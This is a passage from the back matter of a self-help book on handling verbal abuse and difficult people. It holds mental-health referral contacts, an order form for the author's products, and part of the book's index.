alcohol problem, an eating disorder, or a biochemical or personality disorder, you may want to seek out a
therapist specializing in that particular area.
To find this out, you need to ask questions. Just for the record, if you suspect that you or a loved one has a
biochemical disorder (symptoms include mood swings or depression), the mental health professional you
want to see is not a psychologist or even a psychiatrist, but rather a “psychopharmacologist.”
5. You may also want to contact you local hospital to see if they have any out-patient psychotherapy programs
or the nearest university medical center in your vicinity. In addition, public health facilities and mental health
agencies usually exist on the city, county, state, or regional level. Often, these programs are much less costly.
6. Depending upon what issues you need to face, you can contact one or more of the following organizations.
Perhaps they can refer you to someone in your area.
Page 321
American Psychological Association
750 1st St., NE
Washington, DC 20002
(202) 336-5500
Fax (202) 336-5919
Divisions to Contact within the American Psychological Association:
Psychopharmacology and Substance Abuse
Child, Youth, and Family Services
Family Psychology
Psychology of Women
Society for the Psychological Study of Men and Masculinity
Society for the Psychological Study of Lesbian, Gay, & Bisexual Issues
Addictions
Adult Development and Aging
American Psychiatric Association
1400 K St. NW
Washington, DC 20005
(202) 682-6000
Fax (202) 682-6114
American Counseling Society
5999 Stevenson Ave.
Alexandria, VA 22304
(703) 823-9800
Association of Jewish Family and Children's Agencies
Box 248
3086 Hwy 27
Kendall Park, NJ 08824
(908) 821-0909
Fax (908) 821-0493
American Family Therapy Association
2020 Pennsylvania Ave. NW
Washington, DC 20006
(202) 994-2776
Fax (202) 994-4812
Page 322
Association of Mental Health Clergy
12320 River Oaks
Knoxville, TN 37922
(615) 544-9704
(615) 544-8888
American Society of Pastoral Counselors
9504A Lee Hwy
Fairfax, VA 22031
(703) 385-6967
Fax (703) 352-7725
Black Psychiatrists of America
2730 Adeline St.
Oakland, CA 94607
(510) 465-1800
International Association of Counseling Services
101 S. Whiting St., Suite 211
Alexandria, VA 22304
(703) 823-9840
Fax (703) 823-9843
National Association of Alcoholism and Drug Abuse Counselors
3717 Columbia Pike, Ste. 300
Arlington, VA 22204
(703) 920-4644
(703) 920-4672
Parental Drug Association
7500 Old Georgetown Rd #620
Bethesda, MD 20814
(986) 986-0293
Fax (986) 986-0296
Asian Psychological Association
Department of Psychology
Slippery Rock, PA 16057
(412) 738-2274
Fax (412) 738-2098
Page 323
APPENDIX B
TO ORDER DR. GLASS' PRODUCTS
Fill out this form and include VISA, MC, CHECK, or MONEY ORDER to:
Dr. Lillian Glass
Your Total Image Inc.
P.O. Box 792
New York, NY 10021
OR YOU CAN PLACE A TELEPHONE ORDER
212-946-5729
OR SEND AN E-MAIL
info@drlillianglass.com
****ALL PRICES INCLUDE TAX, SHIPPING, AND HANDLING****
Emotional Feelings and Mending Hearts This set of 2 CD's of original songs which reflect every emotion you
have ever felt. Some give you courage and help heal tender emotions while others stimulate your love and
motivate you to climb the highest mountains.
Item
Price Quantity Total Amount
CD's (set of 2) $45.99 ________ ________
Attracting Terrific People—How to Find and Keep the People Who Bring Your Life Joy! Never be lonely
again! Find out how to attract and keep the best jobs, the best people, and have the relationships to allow you to
have the most fulfilling life.
Item
Price Quantity Total Amount
Book (hardcover edition) $32.99 ________ ________
Toxic People—10 Ways To Handle People Who Make Your Life Miserable Find out how to identify the 30
types of toxic terrors and use effective techniques that really work!
Item
Price Quantity Total Amount
Book (hardcover edition) $32.99 ________ ________
Audiotapes (set of 2) $32.99 ________ ________
Two Videotapes $59.99 ________ ________

Page 324
He Says/She Says—Closing the Communication Gap Between The Sexes Although men and women are
different, there are things we can do and say to avoid fights, hurt feelings, frustrations, and pent up anger
against the opposite sex throughout our daily lives, at work, and even in the most intimate moments. Now you
will know what to do and exactly what to say to the opposite sex!
Item
Price Quantity Total Amount
Book (hardcover edition) $32.99 ________ ________
Videotape $59.99 ________ ________
Audiotapes (set of 2) $32.99 ________ ________
Talk To Win: 6 Steps To A Successful Vocal Image You don't ever have to hate the sound of your voice or be
afraid to speak publicly again. Now you can use the same speaking and voice techniques used by Hollywood.
Item
Price Quantity Total Amount
Videotape $17.99 ________ ________
Audiotape $59.99 ________ ________
World of Words Never feel insecure about not understanding what another person is saying to you. You will
learn the basic roots which allow you to figure out what most words mean, even if you've never heard them
before. It's simple and easy, and takes minutes to learn.
Item
Price Quantity Total Amount
Audiotape $17.99 ________ ________
How to Deprogram Your Valley Girl It's classic, no matter what generation you're from! Humorous, cute, and
funny, it has a serious message by explaining in easy steps how to teach your teen or child how to talk right.
Item
Price Quantity Total Amount
Book (softcover edition) $10.99 ________ ________
Speak for Success Now you will have the confidence to speak up, say what you've always wanted to say, and
feel great about yourself!
Item
Price Quantity Total Amount
Videotape $59.99 ________ ________
Total Balance Due____________________
Last Name________First Name________
Address_________________________
City, State, Zip Code____________________
Phone Number(__)____________________
Fax Number(__)____________________
E-mail_________________________
Visa/MC Number____________________
Expiration Date____________________
Name as it Appears on Card_______________
Signature_________________________
Page 325
INDEX
A.
absorbing what others say, 5
abuse, verbal
comparing to verbal murder, 47
in relationships, 162–164
level one, personality traits, 34–40
backhanded complimentors, 39
confidence betrayers, 37–38
“I'm Only Kidding” personality types, 34
sarcastic/sadistic personality types, 35
self-consumed, 39–40
“Shock 'Em and Rock 'Em” personality types, 34–35
sugary fawners, 38–39
trashers, 36–37
verbal hammers, 35–36
level two, personality traits, 40–46
accusers, 44
condescending dismissers, 41
faultfinders, 43
instigators, 41
interrogators, 40–41
liars, 44–45
ragers, 43
underminers, 41–42
verbal icicles, 45–46
verbal nazis, 43–44
parental
children as abusers, 194–197
children, disciplining, 200
consequences, 192
defending against, 191–193
resolving, 192–193
recovering from, 169–170
relationships
forgiveness, 169
grieving process, 168
rehabilitation, contacting professional help, 166
self-directed, 110
siblings, 193–194
“three strikes rule”, 162–164
victims, comforting, 166–168
accusers (verbal abusers), 44
acquiring lingo (conversations), 125
admitting to wrongdoing, 290–291
affirmation tapes, Guru Ji Pillai, Ph.D., 111
AIDS, 303
alcoholism, 247
alternatives to physical violence
Fantasy strategy, 157–158
“Give 'Em Hell and Yell” strategy, 160
Verbally Mirroring the Foe strategy, 158–159
amends, making, 314
American Counseling Society, contact information, 321
American Family Therapy Association, contact information, 321
American Psychiatric Association, contact information, 321
American Psychological Association, contact information, 321
American Society of Pastoral Counselors, contact information, 322
anger
clenched teeth, 10
facial expressions, 11
answering machines, messages, 261–262
anticipating verbal attacks, 134–135
apologizing, 198, 315
arm movement, body language, 12–13
self-assessment, 71
correcting, 83
articulation
answering machine messages, 262
see also hyper-articulation
Asian Psychological Association, contact information, 322
asking
for forgiveness, 314
questions, 122
assessing
body language, 67–68
arm and hand movements, 71
breathing, 74
eyes, 73
facial expressions, 72–73
head movements, 71–72
mouth, 73–74
posture, 68–70
walking, 70–71
handshakes, 84–85
potential attackers, 3–5
self-image, 62–65
voice quality, 75–77
Association of Jewish Family and Children's Agencies, contact information, 321
Association of Mental Health Clergy, contact information, 322
Page 326
attacks
ignoring, 152
reacting to, 152
victims, setting limits with perpetrators, 153–155
attitudes, negativity as self-fulfilling prophecy, 111
authority figures, defending against verbal attacks, 212
autonomic nervous system, “fight or flight” response, 27
avoiding
confrontations over telephone, 257
eye contact, 8
hurtful insults, 155–157
miscommunication in business dealings, 206–208
rape, 302
verbal attacks, strategies, 112–116
diplomacy, 116
inflammatory words, avoiding, 113–114
listening without interrupting, 114–115
observing verbal opponents, 113
personal space, respecting, 115–116
speaking up, 112
terms of endearment, speaking, 114–115
B
backhanded complimentors (verbal abusers), 39
backstabbers, 21–22, 241
bad breath, 277
bad habits, self-denegration, 110
bad news
breaking, 281–282
infidelity, reporting to cuckold, 282–283
basic needs
conversation topics, 124
threatening, 158
behavior
generalizing, 50–51
school-aged children, restricting, 197
believability, braggarts, 22
betraying
confidences, 37–46
loved ones, dealing with, 290
bilingual communication, 176
bipolar disorder, 42, 247
Black Psychiatrists of America, contact information, 322
“blank stare” technique, disarming verbal opponents, 139–141
blind, communicating with, 289
blinking, 9
body language, 11–13
arm and hand movements, 12–13
correcting, 83–84
self-assessment, 71
breathing, self-assessment, 74
eyes, self-assessment, 73
facial expressions, self-assessment, 72–73
female, interpreting, 185
hand-shaking, 13
head movements, self-assessment, 71–72
male, interpreting, 183
mouth, self-assessment, 73–74
observing, 4
physical distance, maintaining, 11–12
posture, 12
enhancing, 80–81
rigidity, correcting, 82–83
self-assessment, 68–70
self-assessment, 67–68
sitting, confidence, 82
walking
confidence, 81–82
self-assessment, 70–71
body odor, 277
borrowing money, 277
braggarts, believability, 22
brain chemistry, comparing between sexes, 177–178
breaking
bad habits, self-denegration, 110
bad news, 281–282
verbally abusive relationships, 165–166
breathing, 92–95
body language, self-assessment, 74
mind-clearing technique, 94
relaxation technique, 93
voice, enhancing, 95
yawning, 97–98
building confidence, 105–109
“Who Are You?” quiz, 106–108
bullies, dealing with, 299
businesses
employers, defending against verbal attacks, 212–213
professionals, defending against verbal attacks, 212
service industries, rude employees, 206–208
busybodies, 250
butting into conversations, 274
C
Calm Questioning Technique, 231
against food service employees, 211
disarming verbal opponents, 143–144
liars/fibbers, 234
Cantalupo, Paul, 16
Carnegie, Dale, 146
categorizing verbal abusers, 33–34
cautioning verbal crime perpetrators, 153–155
characterizing
backstabbers, 22
braggarts, 22
verbal murderers, 47–49
cheating spouses, reporting to cuckold, 282–283
Page 327
children
controlling, verbal techniques, 197–198
infants
communication skills, correcting, 199–200
speech development, 199
school-aged
restricting behavior, 197
verbal defense, 197–198
choosing verbal defense strategy, 136–138
clenched jaws, anger, 10
cold shoulder, reacting to, 270–271
comebacks against rude strangers, 204
comforting verbally abused people, 166–168
common expressions, interpreting hidden meaning, 23
communication
between sexes, 176
female language, 185–186
male language, 183–185
bilingual, 176
eye contact, 86–87
foreign language as barrier, 211–212
infants, correcting, 199–200
interpreting between sexes, 178–183
mindfulness, 88–89
mumbling, 217–218
persuasion, 288
pre-infant, developing, 198–199
smiling, 87
speech impediments, stutterers, 288–289
verbal abuse, 23
categorizing, 33–34
comparing to verbal murder, 47
consequences, 27–31
emotional manifestations, 29–31
identifying, 25–26
level one, 34–40
level two, 40–46
parents as victims, 194–197
with hearing-challenged, 289
with mentally ill, 289–290
with sight-impaired, 289
with terminally ill, 283–284
comparing
discussion topics between sexes, 178
sexes, brain chemistry, 177–178
treatment of infants between sexes, 177
verbal murderers and verbal abusers, 47
competitiveness
motivation for verbal murder, 55–56
sibling rivalry, 193–194
complainers, 276
con-artists, telemarketers, 257
concluding conversations
one-on-one, 127–128
telephone, 260–261
condescending dismissers (verbal abusers), 41
confidence
affirmation tapes, Guru Ji Pillai, Ph.D., 111
body language
hand-shaking, 13
sitting, 82
walking, 81–82
building, 105–109
self-fulfilling prophecies, 111
“Who Are You?” quiz, 106–108
confronting
baby-voiced talkers, 219–221
conversation interrupters, 226
fast talkers, 223
flatterers, 285
frequent callers (telephone), 264–265
know-it-alls, 224–225
liars, 284–285
loud talkers, 218–219
loud talkers over telephone, 259
mumblers, 217–218, 259
name-droppers, 223–224
nasal-voice talkers, 227–228
pathological liars, 285
people who don't like you, 270–273
physical abusers, 156–157
“Fantasy” strategy, 157–158
“Give 'Em Hell and Yell” strategy, 160
“Verbally Mirroring the Foe” strategy, 158–159
slang speakers, 225
squeaky talkers, 219
wordy talkers, 227
conscious motivation, verbal murder, 53–57
competition, 55–56
control, 53–54
despair, 53
impatience, 54
lack of confidence, 54–55
resentment, 56–58
consequences
of improper breathing, 93
of parental verbal abuse, 192
of verbal murder, 57–58
consonants, pronouncing, 101–102
constant staring, 9
contact information, American Psychological Association, 321
contact ulcers, 96
contacting psychotherapists, 166
contradictions, 294, 295
control freaks, 240
motivation for verbal murder, 53–54
controlling
body language
arm movement, 83
hand movements, 84
breathing, 92–95
mind-clearing technique, 94
relaxation technique, 93
children, verbal techniques, 197–198
stuttering, 104
verbal combat, 137–138
Page 328
conversations
asking questions, 122
backstabbers, identifying, 21
butting into, 274
concluding, 127–128
disruptions, 114–115
elaboration technique, 122–123
ethnic, 126–127
expressions, interpreting, 23
eye contact, 86–87
foreign language
French terms, 127
German terms, 126
Italian terms, 127
Latin terms, 126
Yiddish terms, 126–127
imaginary (exercise)
attacks, anticipating, 134
practicing, 133–134
preparing for verbal combat, 132–133
initiating, 121
interruptions
confronting perpetrators, 226
reacting to, 274
lingo, 125
listening, 19–23
maintaining, 121–127
asking questions, 122
elaboration technique, 122–123
mindfulness, 88–89
name-dropping, 223–224
physical contact, 85–86
preparing for, 118
slowing down, 103
smiling, 119, 119–120
speeding up, 103
telephone
interruptions, handling, 263–264
loud talkers, 259
mumblers, 259
recording, 66–67
returning calls, 264
separation anxiety, 260–261
while eating, 262–263
whisperers, 259
wordy talkers, confronting, 259–261
topics, 123–124
basic needs, 124
comparing interest between sexes, 178
interests and opinions, 124
knowledge of, 125
relationships, 124
verbal combat
controlling, 137–138
preparing for, 131–132
voice quality, self-assessment, 75–77
correcting
body language, hand movements, 83–84
foul language in children, 201–202
posture, 80–81
head position, 81
rigidity, 82–83
spinal, 81
weight distribution, 80–81
counter attacks, timeliness, 136
criticism, listening to, 19–23
cultural clashes, 300
cursing, 234
among teenagers, 195–196
correcting, 201–202
customer service representatives, defending against, 205–212
cutting others down, 249
D
date rape, avoiding, 303
death, communicating with terminally ill, 283–284
declarations of verbal war, 297
defending friends against gossip, 287–288
delicate situations, 303–304
delivering bad news, 281–282
dental conditions, as cause of lisping, 16
dentists, verbal defense, 213–214
depression, 53, 247
developing communication skills, pre-infant, 198–199
dialog
expressions, interpreting, 23
identifying backstabbers, 21
listening, 19–23
see also conversations
dieting, refusing food offers, 287
diffusing hostility in verbal opponents, 112
diplomacy, 116
Direct Confrontation Technique
cussers, 235
food service employees, 210
liars/fibbers, 234
sweet talkers, 233
talkaholics, 232
disarming verbal opponents, techniques, 112
Calm, Calculating, Questioning strategy, 143–144
Funny Bone strategy, 145–146
hand-holding fighting strategy, 147–148
heart-in-hand strategy, 148
hush hush strategy, 147
Look of Disgust strategy, 141
Love 'Em Up strategy, 146–149
Naked Truth strategy, 144–145
name repetition, 146–147
staring, 139–141
“What's Good About You” strategy, 148–149
disciplining foul language in children, 201–202
discussion topics, comparing between sexes, 178
disgust, facial expression, 11
disruptions in conversations, 114–115
do-nothings, 246
doctors, verbal defense, 213–214
drooling, preventing, 102–103
drug abuse, 247
Page 329
E
eating
during telephone conversations, 262–263
Elaboration Technique, 122–123, 231
e-mail address, Dr. Lillian Glass, 323
embarrassment
coping with, 268–270, 273
examples of, 268–269
jokes, 269–270
emotionally challenged people, 247
emotions
anger, clenched teeth, 10
expressing in face, 9–10
nervousness, stuttering, 15–16
stress
“kick the cat” syndrome, 50
verbal murder, 47
verbal abuse, manifestations, 29–31
employers, defending against verbal attacks, 212–213
enemies
smiling at, 271
verbal self-defense, 205
enhancing
posture, 80–81
head position, 81
spinal, 81
standing, 80–81
relationships, 186–189
self-esteem, 308–310
speech
consonant pronunciation, 101–102
vowel pronunciation, 102
voice, 95
monotonous voices, 99–100
nasal voices, 100–101
whining voices, 100
yawning, 97–98
enunciation, recording telephone machine messages, 262
envy, 241
motivation for verbal murder, 51–52
ethnic terms, 126–127
French, 127
German, 126
Italian, 127
Latin, 126
Yiddish, 126–127
evaluating
body language, 67–68
arm and hand movements, 71
breathing, 74
eyes, 73
facial expressions, 72–73
head movements, 71–72
mouth, 73–74
posture, 68–70
walking, 70–71
handshakes, 84–85
responses, “Who Are You?” quiz, 109
self-image, 62–65
voice quality, 75–77
examples, public humiliation, 268–269
excessive blinking, 9
excuses, maintaining verbally abusive relationships, 163–164
exercises
breathing
mind-clearing technique, 94
relaxation technique, 93
imaginary conversations
attacks, anticipating, 134
practicing, 133–134
preparing for verbal combat, 132–133
verbal attacks, interpreting reactions, 134–135
expressions
body language, 11–13
arms, 12–13
hand-shaking, 13
physical distance, maintaining, 11–12
posture, 12
facial, 9
eye contact, 86–87
female, interpreting, 185
male, interpreting, 184
self-assessment, 72–73
smiling, 87
interpreting, 23
eye contact, 8–9, 86–87
avoiding, 8
blinking, 9
self-assessment, 73
staring, 8
F
facial expressions, 9
blank stares, disarming verbal opponents, 139–141
body language, self-assessment, 72–73
eye contact, 86–87
female, interpreting, 185
look of disgust, disarming verbal opponents, 141
male, interpreting, 184
mouth, expressing emotions, 10–11
smiling, 87
fairness in verbal combat, 155–157
families
betrayal, dealing with, 290
children, handling parental requests, 196–197
parents, verbally abusive, 191–193
siblings, verbally abusive, 193–194
fanatics, 245
Fantasy strategy, avoiding physical violence, 157–158
fast talkers, 17
confronting, 223
faultfinders (verbal abusers), 43
fear, facial expression, 11
female body language, 185–186
fetal response to music, 199
fibbers, 234
“fight or flight” response to verbal abuse, 27
Page 330
fighting dirty (verbal combat), 155–157
flatters, confronting, 285
food
refusing, 287
servers, verbal self-defense, 208–211
foreigners, 276
forgiveness, asking for, 314
foul language
among teenagers, 195–196
children, correcting, 201–202
French terms, 127
frequent callers (telephone), confronting, 264–265
friends
betrayal, dealing with, 290
defending against rumors, 287–288
verbal self-defense, 204–205
Funny Bone strategy, disarming verbal opponents, 145–146
G.
gazing down at someone, 8
generalizing, 50–51
German terms, 126
gestures
body language, 11–13
arms, 12–13, 71
hand-shaking, 13
physical distance, maintaining, 11–12
posture, 12
facial, self-assessment, 72–73
“Give 'Em Hell and Yell” strategy, avoiding physical violence, 160
gossip
about family, 311
as source of prejudice, 274
friends, defending, 287–288
intentionally “leaking”, 312
preventing, 310
gossipmongers, 41
grieving process, ending verbally abusive
relationships, 168
guilt, motivation for verbal murder, 52
Guru Ji Pillai, Ph.D, 111
H
Haas, Dr. Adelaide, 178
habits, self-denegration, 110
hand movements
body language self-assessment, 71
controlling, 83–84
hand-holding fighting strategy, disarming verbal opponents, 147–148
handshakes, 13
evaluating, 84–85
happiness, facial expression, 10
harsh tone in voice, 299
head position
body language self-assessment, 71–72
posture, correcting, 81–89
health
dieting, refusing food offers, 287
mentally-ill, communicating with, 289–290
terminally ill, communicating with, 283–284
voice box, 95–97
hearing-challenged, communicating with, 289
heart-in-hand strategy, disarming verbal opponents, 148
hindsight, 4
Hitting-below-the-Belt Abusers, 242
honesty
liars, 44–45, 234
confronting, 284–285
eye contact, 9
vocal tone as indicator, 15–18
wrongdoing, admitting to, 290–291
hopelessness, conscious motivation for verbal murder, 53
hostility
crossing arms, 12
in verbal opponents, diffusing, 112
jokes, hidden meaning, 20–21
vocal tone as indicator, 15
humiliation, coping with, 268–270
humor, jokes
hidden meaning, 20–21
weight-related, responding to, 287
hush hush strategy, disarming verbal opponents, 147
hyper-articulation, 17–18
I
“I love you-I hate you” people, characterizing, 42
identifying
backstabbers, 21
verbal attackers, 3, 25–26
worksheet, 48–49
verbal murderers, 47–49
ignoring verbal attacks, 152
“I'm Only Kidding” personality types (verbal abusers), 34
imaginary conversation
physical violence, avoiding
“Fantasy” strategy, 157–158
“Give 'Em Hell and Yell” strategy, 160
“Verbally Mirroring the Foe” strategy, 158–159
verbal attacks
anticipating, 134
immediacy of reactions, 136–137
interpreting reactions, 134–135
practicing, 133–134
preparing for verbal combat, 132–133
impatience, motivation for verbal murder, 54, 54–55
improving
relationships, 186–189
self-esteem, 109–110, 308–310
inappropriate behavior, 272
Page 331
indications of stress, 28
infants
comparing treatment between sexes, 177
speech, developing, 199
infidelity, reporting to cuckold, 282–283
inflammatory words, avoiding, 113
initiating, conversation, 121
insecurity, 249
overcoming, 120
instigators (verbal abusers), 41
insults
avoiding, 155–157
jokes, hidden meaning, 20–21
self-directed, 110
integrity, admitting to wrongdoing, 290–291
intelligence, underestimating, 291–292
interests and opinions, conversation topics, 124
International Association of Counseling Services, contact information, 322
interpreting
common expressions, 23
communication between sexes, 178–183
female language, 185–186
male language, 183–185
jokes, hidden meaning, 20–21
reactions to verbal attacks, 134–135
secretiveness, 21
self-aggrandizement, 22
interrogators (verbal abusers), 40–41, 243
interruptions, reacting to, 226
one-one-one conversations, 274
telephone conversations, 263–264
introspection
building self-confidence, 105–109
“Who Are You?” quiz, 106–108
Italian terms, 127
J
jaw, clenching, 10
jokes
bearing brunt of, 269
hidden meanings, 20–21
weight-related, responding to, 287
K.
“kick the cat” syndrome, 50
kind words, 301, 316
kissing, 87–88
know-it-alls, confronting, 224–225, 236
kvetching, 276
L
Lamb to Lion types, 240
language
infants, developing, 199
slang, confronting speakers of, 225
Latin terms, 126
“leaking” rumors, 312
leaving verbally abusive relationships, 162–166
level one verbal abusers, personality traits, 34–40
backhanded complimentors, 39
confidence betrayers, 37–38
“I'm Only Kidding” personality type, 34
sarcastic/sadistic personality types, 35
self-consumed, 39–40
“Shock 'Em and Rock 'Em” personality types, 34–35
sugary fawners, 38–39
trashers, 36–37
verbal hammers, 35–36
level two verbal abusers, personality traits, 40–46
accusers, 44
condescending dismissers, 41
faultfinders, 43
instigators, 41
interrogators, 40–41
liars, 44–45
ragers, 43
underminers, 41–42
verbal icicles, 45–46
verbal nazis, 43–44
liars, 44–45, 234
confronting, 284–285
eye contact, 9
limbic system, 27
lingo
acquiring, 125
French terms, 127
German terms, 126
Italian terms, 127
Latin terms, 126
Yiddish terms, 126–127
lisping (speech), 16
improving, 101–102
listening, 19–23
double-meaning, 294–295
fast-talkers, 17
interruptions, avoiding, 114–115
logging reactions to verbal attacks, 134
Look of Disgust strategy, disarming verbal opponents, 141
loud talkers, 299
confronting, 218–219, 259
Love and Kindness Technique, 231
pity seekers, 233
talkaholics, 232
Love 'Em Up strategy, disarming verbal opponents, 146–149
Love-Healing Music for the Heart, 168
loving words, 316
lowering pitch (voice), 97
M
maintaining
conversation, 121–127
asking questions, 122
elaboration technique, 122–123
topics, 123–124
verbally abusive relationships, excuses for, 163–164

Page 332
making fun of others, 268–269
male language, 183–185
manipulators, sweet talkers, 232
marriages, reporting infidelity to cuckold, 282–283
Maslow, Abraham, 158
mean-spiritedness, reacting to, 272
“me me me” talkers, 235
mentally ill, 247, 300
communicating with, 289–290
messages
answering machines, 261–262
bad news, delivering, 281–282
mirrors, performing self-assessment, 65–66
miscommunication
between sexes, 178–183
in business dealings, avoiding, 206–208
mistrust, unconscious motivation for verbal murder, 52–53
money borrowers, 277
monotonous voice, enhancing, 99–100
Montagu, Ashley, 85
motivation
for rudeness in salespeople, 207–208
for rudeness in food servers, 209–210
for verbal murder, 50
conscious, 53–57
unconscious, 50–53
mouth
body language, self-assessment, 73–74
expressing emotions, 10
mouthing off, 296
moving on from negative experiences, 314
muggers, 302
mumbling, 217–218
mushi, 94
music
communicating with terminally ill, 284
fetal response to, 199
Love Healing-Music for the Heart, 168
N
Naked Truth strategy, disarming verbal opponents, 144–145
name-droppers, confronting, 223–224
name repetition, disarming verbal opponents, 146–147
narcissistic talkers, 235
nasal speech
confronting speakers, 227–228
correcting, 100–101
National Association of Alcoholism and Drug Abuse, contact information, 322
negativity
about yourself, removing, 310
self-assessment, 63–65
discussing with others, 314
self-fulfilling prophecies, 111
nervousness, stuttering as manifestation, 15–16
nosy people, 250
O
obesity, responding to weight-related jokes, 287
objectivity
body language, self-assessment, 67–68
arm and hand movements, 71
breathing, 74
eyes, 73
facial expressions, 72–73
head movements, 71–72
mouth, 73–74
posture, 68–70
walking, 70–71
personality, self-assessment, 65–67
obscene language, 234
observing
verbal opponents, 113
body language, 4
one-upsmanship, 36
open mindedness, 5
prejudices, removing, 111
opening eyes wide, 9
opinionated people, 275
opponents
disarming, techniques
Calm, Calculating, Questioning strategy, 143–144
Funny Bone strategy, 145–146
hand-holding fighting strategy, 147–148
heart-in-hand strategy, 148
hush hush strategy, 147
Look of Disgust strategy, 141
Love 'Em Up strategy, 146–149
Naked Truth strategy, 144–145
name repetition, 146–147
staring, 139–141
“What's Good About You” strategy, 148–149
identifying, 3
order form, Your Total Image Inc., 323–324
others speaking on your behalf, 273
overcoming shyness, 120
P
Parental Drug Association, contact information, 322
parents
children, respecting, 200–201
verbal abuse
consequences of, 192
defending against, 191–193
passive-aggressive types, 240
pathological liars, confronting, 285
patience with stutterers, 288–289
peace promoting strategies, 112–116
diplomacy, 116
Page 333
inflammatory words, avoiding, 113–114
listening without interrupting, 114–115
observing opponents, 113
personal space, respecting, 115–116
speaking up, 112
terms of endearment, speaking, 114–115
performing self-assessment, 65–67
photographs, analyzing, 67
telephone conversations, recording, 66–67
personality traits
level one verbal abusers, 34–40
backhanded complimentors, 39
confidence betrayers, 37–38
“I'm Only Kidding” personality types, 34
sarcastic/sadistic personality types, 35
self-consumed, 39–40
“Shock 'Em and Rock 'Em” personality types, 34–35
sugary fawners, 38–39
trashers, 36–37
verbal hammers, 35–36
level two verbal abusers, 40–46
accusers, 44
condescending dismissers, 41
faultfinders, 43
instigators, 41
interrogators, 40–41
liars, 44–45
ragers, 43
underminers, 41–42
verbal icicles, 45–46
verbal nazis, 43–44
rude food servers, 209–210
self-assessment, 62–65
objectivity, 65–67
positive traits, 63–65
shyness, overcoming, 120
personal space, respecting, 11–12, 115–116
persuasion, 288
photographs, performing self-assessment, 67
physical contact, 85–88
physically challenged, communicating with, 289
physical violence, avoiding, 156–157
physiological responses to verbal abuse, 27–31
pictures, performing self-assessment, 67
piercing stares, 8
Pillai, Guru Ji, 111
pitch (voice), lowering, 97
pity seekers, 233
plotters, 242
positive traits (personality), self-assessment, 63–65
posture, 12
enhancing, 80–81
head position, enhancing, 81
rigidity, correcting, 82–83
sitting, 82
spine, 81
practicing imaginary conversations, 133–134
pre-infant communication, 198–199
preconceived notions (verbal opponents), removing, 111
prejudice
intelligence, underestimating, 291–292
open-mindedness, 111
racial slurs, 286
rumors as source, 274
preparing
for conversation, 118
for verbal combat, 131–134
preventing
drooling, 102–103
rumors about yourself, 310
verbal attacks, strategies, 112–116
inflammatory words, avoiding, 113–114
listening without interrupting, 114–115
observing opponents, 113
personal space, respecting, 115–116
terms of endearment, speaking, 114, 115
profanity among children and teenagers, 195–196, 201–202
professional help
improving self-esteem, 308–310
psychotherapists, contacting, 166
professionals, defending against verbal attacks, 212
profiling verbal murderers, 47–49
projecting voice, 98
promoting peace, strategies, 112–116
diplomacy, 116
inflammatory words, avoiding, 113–114
listening without interrupting, 114–115
observing opponents, 113
personal space, respecting, 115–116
speaking up, 112
terms of endearment, speaking, 114–115
pronunciation
consonants, 101–102
vowels, 102
psychology
bipolar disorder, 42
control freaks, motivation for verbal murder, 53–54
“kick the cat” syndrome, 50
mentally ill, communicating with, 289–290
references, 320–322
self-esteem, improving, 308–310
separation anxiety, 260–261
verbal abuse, 29–31
verbal murder, consequences, 57, 57–58
psychotherapists, contacting, 166
public humiliation
coping with, 268–270
examples of, 268–269
jokes, 269–270
Page 334
Q.
quitting verbally abusive relationships, 165–166
quiz, identifying verbal abuse, 25–26
R
racial slurs, 248, 286
ragers (verbal abusers), 43
raking one over the coals, 268
rape, avoiding, 302
raspiness (voice), as emotional indicator, 16
reacting
to public humiliation, 269–273
to verbal attacks, 134, 152
immediacy, 136
interpreting responses, 134–135
psychological, 29–31
reading between lines, 6
realtors, rudeness, 207–208
recommending speech pathologists, 221–222
recording
messages (answering machines), 262
self-assessment, videotape, 66
recovering from verbal abuse, 169–171
red flags, 294
references
psychological services, 320–322
speech pathologists, 319–320
refusing food, 287
rehabilitation from verbally abusive relationships, 166
rejection from verbal abuser, coping with, 166–168
relationships
betrayal, dealing with, 290
conversation topics, 124
enemies, defending against, 204–205
families, verbal abuse
parents, defending against, 191–193
siblings, defending against, 193–194
forgiveness, 169
improving, 186–189
verbally abusive
ending, grieving process, 168
quitting, 165–166
rehabilitation, contacting professional help, 166
“three-strike rule”, 162–164
Relaxation Breathing Technique, 93
listening skills, focusing, 94
voice, enhancing, 95
removing
negative thoughts, 310
preconceived notions about verbal opponents, 111
reporting bad news, 281–282
representatives (business), rudeness, 207–208
resentment, motivation for verbal murder, 56, 56–58
resolving verbal abuse issues
from business representatives, 208
parental abuse, 192–193
sibling rivalry, 194
respect, 298
parent-child relationships, 200–201
self-respect, 109–110
affirmation tapes, 111
responding to disparaging comments, 274
responses, evaluating (“Who Are You?”) quiz, 109
restaurant servers, verbally defending against, 208–211
restricting behavior, school-aged children, 197
returning telephone calls, 264
rigidity (posture), correcting, 82–83
road rage, 297
robbers, 302
romantic situations, 303–304
rough tone in voice, 299
rudeness in business representatives, 207–208
rumors
about family, 311
as source of prejudice, 274
friends, defending, 287–288
intentionally “leaking”, 312
preventing, 310
S
sadness, facial expression, 11
salespeople
rudeness, handling, 207–208
telemarketers, verbal defense, 256–257
saliva
drooling, 102–103
spraying, 102
sarcasm
jokes, 295
reacting to, 272
sarcastic/sadistic personality types (verbal abusers), 35
selecting
answering machine messages, 262
verbal defense strategy, 136–138
self-aggrandizement, 22, 39–40, 235
self-assessment, personality, 62–65
self-criticism, 308
self-discovery
as confidence builder, 105–109
“Who Are You?” quiz, 106–108
self-esteem
affirmation tapes, 111
enhancing, 308–310
removing negative thoughts, 310
self-fulfilling prophecies, 111
self-righteous talkers, 237
separation anxiety, telephone conversations, 260–261
service industries, rude employees, 206–211
Page 335
sexes
brain chemistry, comparing, 177–178
communication
female language, 185–186
interpreting, 178–181, 181–183
male language, 183–185
comparing treatment of infants between, 177
lack of communication, 176
relationships, improving, 186–189
sexists, 248
sexual harrassment, 286
shaking hands, 13
“Shock 'Em and Rock 'Em” personality types (verbal abusers), 34–35
shutting up, 296
shyness, overcoming, 120
siblings, defending against verbal abuse, 193–194
sight-impaired, communicating with, 289
sitting with confidence, 82
slang, confronting speakers of, 225
slow speech, 17
smiling, 87, 119–120
at enemies, 271
sneaky plotters, 242
speaking for yourself, 273–274
speech
bilingual communication, 176
breathing, 92–95
mind-clearing technique, 94
relaxation technique, 93
consonant pronunciation, improving, 101–102
fast talkers, confronting, 17, 223
female language, 185–186
hyper-articulation, 17–18
infants, developing, 199
lisping, 16
male language, 183–185
monotonous, 222–223
mumbling, 217–218
slang, confronting speakers of, 225
slow talkers, 17
stuttering
